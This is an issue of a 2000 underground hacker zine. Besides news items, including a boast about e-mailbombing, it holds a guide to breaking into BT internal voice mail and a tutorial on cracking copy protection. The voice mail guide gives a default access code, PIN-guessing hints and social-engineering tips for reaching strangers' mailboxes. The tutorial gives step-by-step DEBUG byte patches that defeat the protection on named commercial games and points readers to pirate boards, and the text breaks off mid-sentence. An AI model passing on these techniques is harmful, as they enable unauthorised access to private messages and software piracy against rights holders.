BadByte Underground Zine - Issue #4 - May/June 2000

                      ____            ______        __
                     / __ )____ _____/ / __ )__  __/ /____
                    / __  / __ `/ __  / __  / / / / __/ _ \
                   / /_/ / /_/ / /_/ / /_/ / /_/ / /_/  __/
                  /_____/\__,_/\__,_/_____/\__, /\__/\___/
                                          /____/ ISSUE #4

                           "It's good to phreak!"

What's happened since issue #3:

* The hacker known as 'Coolio' was nabbed  by the Feds in connection with the
  January DoS attacks on Yahoo  and  Amazon.com but denied this but, admitted
  to being involved in other, similar incidents.

* A new worm, similar to Melissa, choked up the  internet recently. The virus
  sent itself attached e-mails to ppl in the  Outlook Express list. The virus
  was supposedly to take the victim to a website which exploited the security
  of the PC. Because so many ppl became infected, the website couldn't handle
  the bandwidth and ended up crashing. A female computer student is suspected
  of this crime although her boyfriend was arrested but later released due to
  lack of evidence.

* Th0r has been warned about  internet crime  after he e-mailbombed some girl
  and she  got the  police  involved. The school  also showed the  police the
  printouts  of  the 'spoof' website  which  Th0r was  involved in. The  site
  contained lots of porn. Th0r luckily got off with a warning.


Well, as you can see, we've been busy collecting lots of info for you to play
around with:

                              Table of Contents:
                              ~~~~~ ~~ ~~~~~~~~

                00 ... You are presently reading this part!
                01 ... BT Voice mail box hacking (by DarkFlame)
                02 ... The Amatuer Crackist Tutorial
                03 ... Plans for the UK blue box (old I think)
                04 ... Scythe IRC Warscript
                05 ... Guide to DOS .com executables
                06 ... Guide to DOS .exe executables
                07 ... Guide to DOS device drivers
                08 ... Guide to Windows 3.1x New Executables
                09 ... Guide to Win32 Linear Executables
                10 ... Guide to Win32 Portable Executables


Present and future *OFFICIAL* BadByte distros:

                (*) http://www.badsector.org.uk
                (*) http://www.coderz.net
                (x) http://members.xoom.com/mud2001

             (*) denotes BadByte distro sites
             (x) denotes future BadByte distro sites


The BadByte staff follow:

          Th0r ............... Hacker/Coder ....... th0r@hackermail.net
          SKR33M ............. Phreaker/Hacker .... user@skr33m.co.uk
          BlazinWeed ......... Hacker ............. root@infowarfare.co.uk
          Shadey ............. Researcher ......... shadey@b33r.force9.net


[]---<mince here>---<slice here>---<rip here>---<snip, snip>---<cut here>---[]

-------------------------------+
01 - BT Voice mail box hacking | 
-------------------------------+

Written by DarkFlame - a teenage phreak from London who writes for the
Underground Periodicals, a rather large zine from the underground!

                             Getting it on with
                           Internal BT Voice Mail

"And remember, the system is unreakable - don't be afraid to try out all
the features !"
- BT Voice Messaging Internal Memo

"You heard 'em kids"
- Me

Basics
The first step is to dial the voice mail system. If you have the number of
a BT voice message system, go ahead and dial it. If not, well your just
gonna have to find a source of them. A bit of trashing / social engineering
might do the trick.

Assuming you are ninja enough to have a number, you'll get a sultry
"Welcome to BT Voice messaging. Please press hash to continue." from the
system. Understandably pressing the # key gets you access to the voice mail
system. Pressing the * key here gets a "Enter the address for your message"
prompt. Simply entering a voice mail number will let you leave a message in
someones mailbox.

Assuming you keyed in a # you will then be prompted for a voice mailbox
number. This is usually 4 digits long. If the mailbox number is being used
you will get prompted for a security code. You get three attempts at either
before you are booted off the system. If the mailbox has not been used
before you have to enter the default code. At the time of writing this code
is 3638. However, don't be surprised if soon after this document gets
released this gets changed ! If you are a new user you will be prompted to
change your security code which can be between 4 and 10 digits long. You
won't be surprised to hear very few are longer than 4 digits. However,
telephone numbers and birthdays are also popular choice. After selecting a
new security code, you'll be asked to state your name. The only greeting on
most of these system is "This is Fred Bloggs".

To leave the system key in 99.

Dealing with those pesky message
To send a message log on as normal, entering mailbox number and security
code. Press 6 at the "Ready" prompt. You will be then asked for a mailbox
number to send your message to. After this use the # key to begin
recording, end recording and to send the message. Easy eh ?

However, receiving messages involves more than one button. If you have mail
waiting for you, you will be notified after entering your security code. To
listen to this press 5. The system is set to erase messages once they have
been listened to. So to save a message in your mailbox so you can enjoy it
everytime you log on press 7. Pressing 22 takes you back to the beginning
of the message. Pressing 5 during message playback will skip to the next
message in your box. Pressing 3 will erase a saved message.

To reply to a message press 17. Use # to start message recording and # when
you have finished. To forward a message (with your own comments !) key in
13 then the mailbox address. When recording your own comments use the # key
to start and stop recording.

Final Comments
* It's illegal to access BTs voice mail sytems without permission.
* If you can't be good, be careful.




[]---<mince here>---<slice here>---<rip here>---<snip, snip>---<cut here>---[]

-----------------------------------+
02 - The Amatuer Crackist Tutorial |
-----------------------------------+

     VOL 1                                                   NUM 1
                                   


                                   
                     The Amatuer Crackist Tutorial
                              Version 1.3
                                  By
                            Specular Vision





                          Special Thanks to:
                            Mr. Transistor
                                Ironman
                           The Grand Elusion
                            Banzai Buckaroo
                                   



                      Another fine PTL Production
                        Call The Myth Inc. BBS

     Table of Contents:
     ------------------       (Page  Numbers will be aprox.  until
                                  final version is finished)
          i.        Table of Contents                         2

          ii.       Introduction                              3

          I.        How to Crack                              4
                      Debugging DOS                           4
                      Cracking on the IBM PC Part 1           7
                      Cracking on the IBM PC Part 2          11

          II.       Example Cracks                           14
                      Mean-18 by Accolade                    14
                      Submarine by Eypx                      18
                      Space Station Oblivion by Eypx         22

          III.      Removing Doc Check Questions             23
                      F-15 Strike Eagle by MicroProse        23
                      Battlehawks 1945 by Lucasfilms         25
                      Yeager's AFT by Electronic Arts        26

          IV.       Cracking Self Booters                    27
                      Disk Basics
                      Victory Road by Data East              27
                      MS-Flight Simulator (Ver 2.x)          30

          V.        Creating Title Screens                   33

          VI.       Appendix                                 35
                      A - Interrupt Tables                   36
                          (This will be an add-on file)























                                   2

     Introduction:
     -------------

     Due to the current lack of Crackers, and also keeping in mind
     the  time it took me to learn the basics of cracking,  I  de-
     cided  to put this tutorial together.   I will  include  many
     files which I have found helpful in my many cracking  endeav-
     ors.   It also has comments that I have included to  make  it
     easier to understand.



     Comments Key:
     -------------

     Comments in the following material will be made by one of the
     following  and the lines that enclose the comments  show  who
     made the comment.

     Specular Vision = -------------
     Mr. Transistor  = +++++++++++++
     Ironman         = |||||||||||||


     Special thanks to Mr.  Transistor, for coming out of "Retire-
     ment" to help compose this document.




























                                   3

     Chapter I                                        How to Crack


     -------------------------------------------------------------
     Let's start with a simple introduction to patching a  program
     using the DOS DEBUG program.  The following article will  in-
     troduce you to the basic ideas and concepts of looking for  a
     certain area of a program and making a patch to it.
     -------------------------------------------------------------


     By:            Charles Petzold / Specular Vision
     Title:         Case Study: A Colorful CLS

       This article originally appeared in the Oct.  14,1986 Issue
     of PC Magazine (Vol 15. Num 17.). Written by Charles Petzold.

       The hardest part of patching existing programs is determin-
     ing  where the patch should go.  You really have to  make  an
     intelligent guess about the functioning of the program.

       As an example,  let's attempt to modify COMMAND.COM so that
     is colors the screen on a CLS command.   As with any type  of
     patch try it out on a copy and NOT the original.

       First, think about what we should look for.  CLS is differ-
     ent from all the other DOS internal Commands,  It is the only
     internal command that does something to the screen other than
     just write to it with simple teletype output.  CLS blanks the
     screen and homes the cursor.   Since it can't do this through
     DOS Calls (unless ANSI.SYS is loaded), it is probably calling
     the BIOS Directly.   The BIOS Interrupt 10h call controls the
     video,  and so the CLS command probably uses several INT  10h
     instructions.  The machine code for INT 10h is CD 10.

       (While  this  same method will work under  any  version  of
     PC-DOS,  Version 2.0 and later, the addresses I'll  be  using
     are from PC-DOS 3.1. Other versions of PC-DOS(or MS-DOS) will
     have  different addresses;  you should be absolutely  certain
     that you're using the correct addresses.)

       Load COMMAND.COM into DEBUG:

                    DEBUG COMMAND.COM

     and do an R (Registers) command.  The size of COMMAND.COM  is
     in  register CX.   For DOS 3.1's COMMAND.COM,  this value  is
     5AAA.

       Now do Search command to look for the CD 10 bytes:

                    S 100 L 5AAA CD 10

     You'll get a list of six addresses, all clustered close to-

                                   4
     gether.  The first one is 261D. You can now pick an address a
     little before that (to see what the first call is doing)  and
     start disassembling:

                    U 261B

      The  first INT 10 has AH set to 0F which is a Current  Video
     State  call.   The code checks if the returned  value  of  AL
     (Which  is  the  video mode) is less than 3 or  equal  to  7. 
     These are the text modes.   If so,  it branches to 262C.   If
     not, it just resets the video mode with another INT 10 at ad-
     dress 2629.

       At 262C,  the code first sets the border black (the INT  10
     at  2630),  then does another Current Video  State  call  (at
     2634) to get the screen width in register AH.  It uses infor-
     mation from this call to set DX equal to the bottom right row
     and column.   It then clears the screen by scrolling the  en-
     tire screen up with another INT 10 (at 2645),  and then  sets
     the cursor to the zeroth row and zeroth column with the final
     INT 10 (at 264D).

       When it scrolls the whole screen, the zero value in AL  ac-
     tually  means blank the screen,  the value of BH is  the  at-
     tribute  to be used on the blanked area.   In  an  unmodified
     COMMAND.COM,  BH is set to 7 (Which is white on black) by the
     following statement at address 2640:

                    MOV  BX,0700

       If  you  prefer a yellow-on-blue attribute  (1E),  you  can
     change this line by going into Assemble mode by entering:

                    A

     then entering

                    MOV  BX,1E00

     and exiting Assemble mode by entering a blank line.

       Now you can save the modified file:

                    W

     and quit DEBUG:

                    Q

       When  you load the new version of COMMAND.COM (and you  can
     do so without rebooting by just entering:

                    COMMAND


                                   5
     on  the DOS command level),  a CLS will turn the screen  blue
     and display characters as yellow.

       If it doesn't or if anything you type shows up as white  on
     black,  that probably means you have ANSI.SYS loaded.  If you
     use ANSI.SYS,  you don't have to make this patch but can  in-
     stead use the prompt command for coloring the screen.

     END.














































                                   6

     -------------------------------------------------------------
     That was just one section of a very large article that helped
     me  to get started.   Next we'll look at two other  articles,
     both written by Buckaroo Banzi.   These two articles  CRACK-1
     and  CRACK-2 give you an introduction to the  different  copy
     protection schemes used on IBM PC's, and how to find and  by-
     pass them.
     -------------------------------------------------------------



     By:            Buckaroo Banzai
     Title:         Cracking On the IBM PC Part I


     Introduction
     ------------
       For  years,  I have seen cracking tutorials for  the  APPLE
     computers,  but never have I seen one for the PC.  I have de-
     cided to try to write this series to help that pirate move up
     a level to a crackest.

       In this part, I will cover what happens with INT 13 and how
     most copy protection schemes will use it.  I strongly suggest
     a  knowledge of Assembler (M/L) and how to use  DEBUG.  These
     will be an important figure in cracking anything.


     INT-13 - An overview
     --------------------

       Many  copy  protection  schemes  use  the  disk   interrupt
     (INT-13).  INT-13 is often use to either try to read in a il-
     legally   formatted   track/sector  or  to   write/format   a
     track/sector that has been damaged in some way.

       INT-13 is called like any normal interrupt with the  assem-
     bler  command INT 13 (CD 13).  [AH] is used to  select  which
     command to be used, with most of the other registers used for
     data.

     INT-13 Cracking College
     -----------------------
       Although,  INT-13 is used in almost all protection schemes,
     the easiest to crack is the DOS file.  Now the protected pro-
     gram  might use INT-13 to load some other data from a  normal
     track/sector on a disk, so it is important to determine which
     tracks/sectors  are  important to the protection  scheme.   I
     have  found  the best way to do this is to  use  LOCKSMITH/pc
     (what, you don't have LS. Contact your local pirate for it.)

       Use LS to analyze the diskette. Write down any track/sector
     that seems abnormal.  These track are must likely are part of
     the protection routine.   Now, we must enter debug. Load in

                                   7
     the  file  execute a search for CD 13.   Record  any  address
     show.  

       If no address are picked up,  this mean 1 or 2 things,  the
     program is not copy protected (right...) or that the check is
     in an other part of the program not yet loaded.   The  latter
     being  a real hassle to find,  so I'll cover it in  part  II. 
     There is another choice.   The CD 13 might be hidden in  self
     changing  code.   Here is what a sector of hidden code  might
     look like

     -U CS:0000
     1B00:0000 31DB     XOR    BX,BX
     1B00:0002 8EDB     MOV    DS,BX
     1B00:0004 BB0D00   MOV    BX,000D
     1B00:0007 8A07     MOV    AL,[BX]
     1B00:0009 3412     XOR    AL,12
     1B00:000B 8807     MOV    [BX],AL
     1B00:000D DF13            FIST   WORD...

       In  this  section of code,  [AL] is set to DF  at  location
     1B00:0007.   When you XOR DF and 12,  you would get a CD(hex)
     for  the  INT opcode which is placed right next to a  13  ie,
     giving you CD13 or INT-13.   This type of code can't and will
     not be found using debug's [S]earch command.



     Finding Hidden INT-13s
     ----------------------

       The  way I find best to find hidden INT-13s,  is to  use  a
     program called PC-WATCH (TRAP13 works well also).   This pro-
     gram  traps  the interrupts and will print  where  they  were
     called  from.   Once running this,  you can just  disassemble
     around  the address until you find code that look like it  is
     setting up the disk interrupt.

       An  other way to decode the INT-13 is to use  debug's  [G]o
     command.   Just  set  a breakpoint at  the  address  give  by
     PC-WATCH  (both  programs give the return address).   Ie,  -G
     CS:000F (see code above).   When debug stops,  you will  have
     encoded  not only the INT-13 but anything else leading up  to
     it.


     What to do once you find INT-13
     -------------------------------

       Once you find the INT-13,  the hard part for the most  part
     is over.   All that is left to do is to fool the computer  in
     to thinking the protection has been found.   To find out what
     the computer is looking for, examine the code right after the
     INT-13.  Look for any branches having to do with the

                                   8
       CARRYFLAG or any CMP to the AH register.  If a JNE or JC
      (etc) occurs, then [U]nassembe the address listed with the
     jump.  If it is a CMP then just read on.

       Here you must decide if the program was looking for a  pro-
     tected  track or just a normal track.   If it has a CMP  AH,0
     and it has read in a protected track,  it can be assumed that
     it  was looking to see if the program had  successfully  com-
     plete  the  READ/FORMAT of that track and that the  disk  had
     been  copied thus JMPing back to DOS (usually).   If this  is
     the case,  Just NOP the bytes for the CMP and the correspond-
     ing JMP.

       If  the program just checked for the carry flag to be  set,
     and it isn't,  then the program usually assumes that the disk
     has been copied. Examine the following code

           INT 13      <-- Read in the Sector
           JC 1B00     <-- Protection found
           INT 19      <-- Reboot
     1B00  (rest of program)

       The program carries out the INT and find an error (the  il-
     legally formatted sector) so the carry flag is set.  The com-
     puter,  at the next instruction,  see that the carry flag  is
     set  and know that the protection has not been  breached.  In
     this case, to fool the computer, just change the "JC 1B00" to
     a "JMP 1B00" thus defeating the protection scheme.

     NOTE: the PROTECTION ROUTINE might be found in more than just
           1 part of the program


     Handling EXE files
     ------------------

       As we all know,  Debug can read .EXE files but cannot write
     them.   To get around this,  load and go about  cracking  the
     program as usual.   When the protection scheme has been found
     and tested, record (use the debug [D]ump command) to save + &
     - 10 bytes of the code around the INT 13.    Exit back to dos
     and  rename the file to a .ZAP (any extension but  .EXE  will
     do) and reloading with debug.  Search the program for the 20+
     bytes  surrounding  the code and record  the  address  found. 
     Then  just load this section and edit it like  normal.   Save
     the  file and exit back to dos.   Rename it back to the  .EXE
     file and it should be cracked.  

     ***NOTE:  Sometimes  you have to play around with  it  for  a
               while to make it work.





                                   9
     DISK I/O (INT-13)
     -----------------
       This interrupt uses the AH resister to select the  function
     to be used.  Here is a chart describing the interrupt.

     AH=0    Reset Disk
     AH=1    Read the Status of the Disk
             system in to AL

         AL          Error
       ----------------------------
         00   - Successful
         01   - Bad command given to INT
        *02   - Address mark not found
         03   - write attempted on write protected disk
        *04   - request sector not found
         08   - DMA overrun
         09   - attempt to cross DMA boundary
        *10   - bad CRC on disk read
         20   - controller has failed
         40   - seek operation failed
         80   - attachment failed
     (* denotes most used in copy protection)
     AH=2    Read Sectors

       input
          DL = Drive number (0-3)
          DH = Head number (0or1)
          CH = Track number
          CL = Sector number
          AL = # of sectors to read
       ES:BX = load address
       output
           AH =error number (see above)
               [Carry Flag Set]
           AL = # of sectors read

     AH=3 Write (params. as above)
     AH=4 Verify (params. as above -ES:BX)
     AH=5 Format (params. as above -CL,AL
                  ES:BX points to format
                  Table)

     ------------------------------------------------------------
       For more information on INT-13 refer to appendix A.
     ------------------------------------------------------------

     END.







                                  10

     -------------------------------------------------------------
     In part II,  Buck cover's Calls to INT-13 and INT-13 that are
     located  in  different overlays of the program.   This  is  a
     method that is used often.
     -------------------------------------------------------------


     Cracking Tutorial II.

     By:            Buckaroo Banzai
     Title:         Cracking On the IBM PC Part II


     Introduction
     ------------

       OK guys,  you now passed out of Copy Class 101 (dos  files)
     and have this great new game with overlays.   How do I  crack
     this one.  You scanned the entire .EXE file for the CD 13 and
     it's nowhere.  Where can it be you ask yourself.

       In  part II,  I'll cover cracking Overlays and the  use  of
     locksmith in cracking.   If you haven't read part I,  then  I
     suggest you do so.  The 2 files go together.


     Looking for Overlays
     --------------------
       So, you cant find CD 13 in the .EXE file, well, it can mean
     4 things. 

          1:  The .EXE (though it is mostly .COM) file is  just  a
              loader for the main file. 

          2:  The .EXE file loads in an overlay.  

          3:  The CD 13 is encrypted &/or hidden in the .EXE file. 

          4:  Your looking at the WRONG file.


       I  won't  discuss case 1 (or at least no here)  because  so
     many UNP files are devoted to PROLOCK and SOFTGUARD,  if  you
     can't figure it out with them, your stupid.

       If you have case 3, use the technique in part I and restart
     from the beginning. And if you have case 4, shoot your self.

       You  know  the program uses overlays but don't see  and  on
     disk?   Try looking at the disk with good old Norton's.   Any
     hidden files are probably the overlays.   These are the  ones
     we  are after.   If you still can't find them,  use  PC-WATCH
     (this program is a must!!! For all crackists.   Traps ALL in-
     terrupts).

                                  11

     Using PC-Watch to Find Overlays
     -------------------------------
       Start up PC-Watch and EXCLUDE everything in the left  Col.. 
     Search  the  right Col.  until you find DOS21 -  OpnFile  and
     select it.  

          Now run the program to be cracked.  
          Play the game until the protection is checked.  
          Examine  you PCWatch output to see what file was  loaded
           right before it.  
          This probably is the one holding the check.  
          If not, go through all the files.


     You Have Found the Overlays
     ---------------------------
       Great,  now just crack the overlay as if it was a DOS file. 
     You don't need to worry about .EXE file,  debug can write  an
     overlay  file.   Part I explains the basics of  cracking.   I
     suggest that you keep a backup copy of the overlay so if  you
     mess up,  and you will, you can recover quickly. Ah,  and you
     thought cracking with overlays was going to be hard.



     Locksmith and Cracking
     ----------------------

      The  copy/disk utility program Locksmith by AlphaLogic is  a
     great tool in cracking.   It's analyzing ability is great for
     determining what and where the protection is.

      I find it useful,  before I even start cracking,  to analyze
     the  protected  disk to find and id  it's  protection.   This
     helps in 2 ways.   First,  it helps you to know what to do in
     order to fake out the protection.   Second,  it helps you  to
     find what the program is looking for.

      I  suggest that you get locksmith if you don't already  have
     it.   Check your local pirate board for the program.   I also
     suggest  getting PC-Watch and Norton Utilities 3.1.(Now  4.1)
     All of these program have many uses in the cracking world.

     END.










                                  12

     Chapter II                                     Example Cracks



     -------------------------------------------------------------
     OK,  now let's put some of this information into practice  by
     examining a few cracks of some common programs.   First we'll
     look at a Crack for Mean-18 Golf by Accolade.   Accolade  has
     been one of those companies that has a fervent belief in Copy
     Protection.
     -------------------------------------------------------------




     Title:         MEAN-18 UnProtect For CGA/EGA Version


     This crack works by eliminating the code that tests for known
     bad  sectors  on the original diskette to see if  it  is  the
     genuine article or an illegal copy.   The code begins with an
     INT 13 (CD 13 HEX),  a DOS BIOS disk service routine followed
     a few bytes later by another INT 13 instruction.  The program
     then checks the returned value for the bit configuration that
     signifies the bad sectors and, if all is as expected, contin-
     ues on with program execution.

     The code that needs to be patched is in the GOLF.EXE file and
     in the ARCH.EXE file.  It is identical in both files and lies
     near the end of each file.

     In the following steps,  you'll locate the start of the  test
     code and patch it by replacing it with NOP instructions  (HEX
     90).   The  method described uses the DOS DEBUG  utility  but
     Norton's Utility (NU) works too.

     Copy  all  of the files from the MEAN-18 disk  onto  a  fresh
     floppy  using  the DOS COPY command and place  your  original
     diskette out of harm's way.

     Assuming DEBUG is in the A:  drive and the floppy  containing
     the files to be unlocked is in the B: drive , proceed as fol-
     lows:

     First  REName  the  GOLF.EXE  file  so  it  has  a  different
     EXTension other than .EXE.

                    REN GOLF.EXE GOLF.DEB


     Next  load the file GOLF.DEB into DEBUG and displays the  "-"
     DEBUG prompt.  

                    A:> DEBUG B:GOLF.EXE

                                  13
     Search for the beginning of the code to be patched by typing:


                    - S CS:100 FFFF CD 13

     Searches  the file for the two byte INT 13  instruction.   If
     all goes well, two addresses should appear on the screen.

                    XXXX:019C
                    XXXX:01A8

     XXXX indicates that the numbers preceeding the ":"  vary from
     system  to system but the numbers following the ":"  are  the
     same on all systems.  

     The  next  step is to use the "U"  command  as  indicated  to
     un-assemble  a few bytes in order to verify your position  in
     the file)

                    - U CS:019C

     (Un-assembles  32 bytes of code.   Verify the  following  se-
     quence of instructions:

                    INT       13
                    JB        01E9
                    MOV       AL,[BX+01FF]
                    PUSH      AX
                    MOV       AX,0201
                    INT       13
                    POP       AX
                    JB        01E9
                    CMP       AL,F7
                    JNZ       01B5

     These are the instructions you'll be patching out in the fol-
     lowing step)

                    - A CS:019C

     This command assembles the new instructions you enter at  the
     keyboard into the addresses shown.  Beginning at CS:019C, and
     for the next 21 bytes, ending with and including CS:01B0, en-
     ter  the no op command "NOP" (90h) followed by a <return>  or
     <enter>.   Just hit <enter> at address XXXX:01B1 to  end  the
     assemble command.)

                    XXXX:019C  NOP <enter>
                    XXXX:019D  NOP <enter>
                               .
                               .
                               .
                    XXXX:01AE  NOP <enter>
                    XXXX:01AF  NOP <enter>

                                  14
                    XXXX:01B0  NOP <enter>
                    XXXX:01B1 <enter>

     This just wipes out the section of code containing the INT 13
     check.

     Now  do  a HEX dump and verify that bytes 019C  through  01B0
     have been set to 90 HEX.

                    - D CS:019C

     If they have, write the patched file to the disk as follows)

                    - W

     This    writes    the    patched    file    back    to    the                        
     disk where it can be run by typing    GOLF just as before but
     now,  it  can be run from any drive,  including  the     hard
     drive)

     Now just [Q]uit or exit back to DOS.  This command can be ex-
     ecuted at any "-" DEBUG prompt if you get lost.  No modifica-
     tion will be made to the file on the disk until you issue the
     "W" command.

                    - Q

     The process is the same for the ARCH.EXE file but because  it
     is a different length, the segment address, (XXXX part of the
     address),  will be different.   You should find the first INT
     13  instruction  at address XXXX:019C and the second  one  at
     XXXX:01A8 as before. 

     You  will again be patching 21 bytes and you will start  with
     019C and end with 01B0 as before.   After doing the HEX  dump
     starting  at address 019C,  you again write the file back  to
     the disk with a "W" command then "Q" uit.

     Norton's utilities can also be used to make this patch.   Be-
     gin  by searcing the GOLF.EXE or ARCH.EXE files for  the  two
     byte  combination  CD  13 (remember to  enter  these  as  HEX
     bytes).  Once located, change the 21 bytes, starting with the
     first "CD"  byte, to 90 (a NOP instruction).  As a check that
     you  are in the right place, the byte sequence in both  files
     is  CD 13 72 49 8A 87 FF 01 50 B8 01 02 CD 13 58 72 3C 3C  F7
     75 04.   After modifying the bytes,  write the modified  file
     back to the disk.  It can then be run from any drive.

     END.






                                  15

     ------------------------------------------------------------
     That was the first the tutorial cracks,  here's another crack
     based on the same ideas but using Norton's Utilities instead. 
     The  following  is an unprotect method  for  Eypx  Submarine. 
     Eypx is another one of those companies bent on protecting the
     world.
     ------------------------------------------------------------


     By:            Assembler Magic
     Title:         EPYX Submarine Unprotect


       You  will  only need to make one modification to  the  main         
     executable program of Submarine, SUB.EXE.  I will assume that         
     your  computer  has a hard disk and that you have a  path  to
     DOS. It's time to fire up DEBUG as follows:

                    DEBUG SUB.EXE<cr>

       The computer should respond with a "-" prompt.  Now look at
     the  registers,  just to make sure everything came  up  okay. 
     Type the letter "R"  immediately after the prompt.   The com-
     puter should respond with a few lines of info as follows:
                
     AX=0000  BX=0001  CX=6103  DX=0000  SP=0080  BP=0000  SI=0000
     DI=0000  DS=12CE ES=12CE SS=37B2 CS=27FC IP=0010 NV UP EI  PL
     NZ NA PO NC
          27FC:0010 8CC0       MOV     AX,ES
     -

       Note  the value of CS is "27FC".   That is the  hexadecimal
     segment address for the beginning of the program code in your
     computer's memory.   It is highly probable that the value you
     see for CS will differ from mine.   Whatever it is,  write it
     down.  Also, the values you see for DS, ES and SS will almost
     certainly differ from mine and should not cause you  concern. 
     The other registers should show the same values mine do,  and
     the flags should start with the same values. 

       Next,  we will do a search for Interrupt 13's.   These  are
     BIOS  (not DOS) Interrupts built into the program  which  are
     used  to ensure that the original disk is being used  to  run
     the program. The whole key to this unprotect scheme is to by-
     pass these Interrupts in the program code.   The tricky  part
     of this unprotect is to find them!   They are not in the seg-
     ment  of  program code starting at the value of CS  equal  to
     "27FC".   They are closer to the beginning of the program  in
     memory.   Easy enough!   Reset the value of CS to  equal  the
     value  of DS as follows; type immediately after  Debug's  "-"
     prompt:

                    RCS<cr>


                                  16
     Debug will prompt you for the new value of CS with:

                    CS:27FC:

       You  respond  by typing the value of DS you  saw  when  you
     dumped the registers the first time.   For example,  I  typed
     "12CE<cr>".   The  value you type will be  different.   Debug
     will  again respond with the "-"  prompt which means  we  are
     ready to do our search.   Type in the following after the "-"
     prompt:

                    S CS:0 FFFF CD 13<cr>

       The computer should respond with three lines of information
     which are the addresses of the three Interrupt 13 calls built
     into the program.   The first four digits are the segment ad-
     dress  and will equal to the value of CS you have  just  set. 
     The second four digits following the colon are the offset ad-
     dresses which are of primary interest to us.   On my  machine
     they came back as follows:

                    12CE:4307
                    12CE:431F
                    12CE:4335

       The segment addresses will be identical and the three  off-
     set  addresses should all be relatively close together.   Now
     look at the first offset address.  (As you can see,  mine was
     "4307".) Write it down.  Now we do a bit of Unassembly.

       Type "U4307<cr>"  which is the letter "U", followed immedi-
     ately  (with no blank spaces) by whatever your  first  offset
     address turned out to be, followed by a carriage return.   If
     you are not familiar with unassembled machine code,  it  will
     look like lines of gibberish as follows:

                    12CE:4307 CD13        INT      13
                    12CE:4309 4F          DEC      DI
                    12CE:430A 744C        JZ       4358
                              .
                              .
                    12CE:431F CD13        INT      13
                    12CE:4321 4F          DEC      DI
                              .
                              .
                    12CE:4324 BF0400      MOV      DI,0004
                    12CE:4326 B80102      MOV      AX,0201
                
       In  my computer,  Unassemble will automatically  output  16
     lines of code to the screen.  Yours may differ.  Note, in the
     abbreviated list I have shown above, the addresses at the be-
     ginning  of  the two lines which contain the  Interrupt  13's
     (INT  13) correspond to the first two addresses we  found  in
     our search.  Now we continue the unassemble, and here comes

                                  17
     another  tricky part.   Just type in "U<cr>"  after  the  "-"
     prompt.  

       You'll get sixteen more lines of code with the third Inter-
     rupt 13 on a line which begins with the address (CS):4335  if
     you  have  the same version of Submarine as I do.   It's  not
     terribly  important  to  this  exercise,   but  it  will   at         
     least show you that things are proceeding okay.   Now type in         
     "U<cr>"  again  after the prompt.  You are  now  looking  for
     three key lines of code.   On my program they appear as  fol-
     lows:

                    12CE:4335 07          POP      ES
                    12CE:4356 5D          POP      BP
                    12CE:4357 CB          RETF

     The true key is the instruction "POP ES".   This  instruction
     begins  the normal return sequence after the program has  ex-
     ecuted its Interrupt 13 instructions and accompanying checks. 
     If  Debug on your machine prints fewer than 16 lines of  code
     at a shot, you may have to type in "U" more than twice at the
     "-" to find these instructions.  (If you haven't found any of
     this stuff, either get help on the use of Debug or go back to
     using your diskette version!)  Write down the offset  address
     of  the "POP ES"  instruction; the four digits following  the
     colon,  which in my example is "4354".   You're well on  your
     way now, so please persevere.

       The  next step is to modify the program to JUMP around  the
     code which executes the Interrupt 13's and go immediately  to
     the  instruction  which  begins the  normal  return  sequence
     (again,  it's the "POP ES".  Type in the  following  instruc-
     tions carefully:

                    A4307<cr>

       This first bit tells Debug that new Assembler code will  be
     inserted at the address of the first Interrupt 13.   If  your
     first  Interrupt 13 is at an address other that  "4307",  use
     the correct address,  not mine.  The computer will prompt you              
     with the address:

                    12CE:4307

     After which you will immediately type:

                    JMP 4354<cr>

     This instruction jumps the program immediately to the  normal
     return code instructions.  Again, at the risk of being redun-
     dant, if your "POP ES" instruction is at a different address,
     use that address, not "4354"!

     The computer will prompt you with the address of the next in-

                                  18
     struction  if  all went well.   MAKE SURE you  just  hit  the
     carriage  return at this point.  Debug will then  return  the
     familiar "-" prompt.

     Now  it's  time  to examine your  handiwork.   Let's  do  the
     unassemble again starting at the address of what had been the
     first Interrupt 13 instruction, but which is now the Jump in-
     struction.  Type in "U4307<cr>" or "U" followed by the appro-
     priate address and a carriage return.   The first line begin-
     ning with the address should appear as follows:

                    12CE:4307 EB4B        JMP      4354

     The key here is the four bytes immediately following the  ad-
     dress.   In my example they are "EB4B".   Yours may  not  be. 
     But,  they are VERY IMPORTANT because they represent the  ac-
     tual machine code which is the Jump instruction.  WRITE THESE
     FOUR BYTES DOWN AND MAKE SURE THEY ARE CORRECT.

       Now  if  you want to have some fun before we go  on,  reset
     register  CS to its original value by first typing  "RCS<cr>"
     at  the "-"  prompt.   Then type in the original value of  CS
     that I asked you to write down.   Using my example,  I  typed
     "27FC<cr>".  Next, you will type "G<cr>" after the "-" prompt
     which  means GO!   If all went well,  SUB should run at  this
     point.   At  least it will if you put all  of  the  Submarine
     files  onto the diskette or into the hard  disk  subdirectory
     where youre working.   If it didn't run, you may have made an
     error. Check through what you have done.  

     Don't give up at this point if it does not run.  Your version
     of Debug may simply have not tolerated our shenanigans.  When
     you are done playing, quit Submarine ("Alt-Q<cr>") and type a
     "Q<cr>" after the Debug prompt "-" appears.

     Now  comes  the tough part.   I can't walk you  through  this
     phase  in complete detail,  because you may be using  one  of
     several programs available to modify the contents of SUB.EXE. 
     Debug is not the way to go,  because it can't write out  .EXE
     files, only .COM files.

     -------------------------------------------------------------
     Note:  Another method of doing this is to REName the  SUB.EXE
     file  so it has a different extension other than .EXE  before
     you enter DEBUG.   That way after you've made the change  you
     can then [W]rite then changes out to the file right in DEBUG. 
     Then one drawback is that you can't run the program in  DEBUG
     once you've changed the name.
     -------------------------------------------------------------

     You have to get into your sector modification package (NORTON
     works good) and work on the SUB.EXE file on your new diskette
     or your hard disk.  Remember, I warned you that doing this on
     your hard disk is dangerous if you are not fully aware of

                                  19
     what you are doing.  So, IF YOU MESS UP, it's YOUR OWN FAULT!

     You  are looking for the first occurrence of an Interrupt  13
     (the "CD 13") using the search facility in your program.   If
     you  don't have the ability to search for the two-byte  hexa-
     decimal code "CD 13" directly, then you will have to manually
     search.  

     -------------------------------------------------------------
     Note:  Norton 4.x now has a search utility.   When you get to
     the  point of typing in the search text,  just press the  TAB
     key, and you can type in the actual hexadecimal code "CD 13".
     -------------------------------------------------------------

     Start  at the beginning of SUB.EXE and proceed.   Again,  you
     want to find the first of the three (first from the beginning
     of the program).  

     I  will give you a hint.   I found it in NORTON  at  location
     4407  hexadecimal  which is location 17,415  decimal  in  the
     SUB.EXE program file.   DOS standard sectors are 512  decimal
     bytes.  Replace  the two bytes "CD 13"  with the "EB  4B"  or
     whatever  your Jump instruction turned out to be.   Write  or
